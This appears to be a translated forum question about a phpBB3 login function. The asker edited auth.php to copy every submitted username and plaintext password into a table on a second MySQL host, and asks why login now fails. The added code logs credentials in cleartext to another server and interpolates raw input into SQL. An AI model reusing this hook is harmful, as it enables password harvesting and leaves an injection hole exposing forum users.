Храните phpBB3 имя пользователя /pw в другом месте
Как я могу сохранить информацию для входа пользователя phpBB3 (имя пользователя / пароль) в отдельную базу данных? Я изменил функцию входа в auth.php следующим образом:
function login($username, $password, $autologin = false, $viewonline = 1, $admin = 0)
{
global $config, $db, $user, $phpbb_root_path, $phpEx;
$method = trim(basename($config['auth_method']));
include_once($phpbb_root_path . 'includes/auth/auth_' . $method . '.' . $phpEx);
$method = 'login_' . $method;
/*START store user/pass in separate table */
$user = "username";
$pswd = "password";
$db = "db_name";
$conn = mysql_connect("mysql2.mydomain.com", $user, $pswd);
mysql_select_db($db, $conn);
$qry="INSERT INTO userdata (username, user_password) VALUES('$username', '$password')";
mysql_query($qry);
mysql_close($conn);
//END store user/pass in separate table*/
if (function_exists($method))
{
$login = $method($username, $password, $user->ip, $user->browser, $user->forwarded_for);
При попытке входа в систему (с правильными учетными данными) я получаю эту ошибку: Неустранимая ошибка: вызов функции-члена sql_escape() для необъекта в /public_html/includes/auth/auth_db.php в строке 67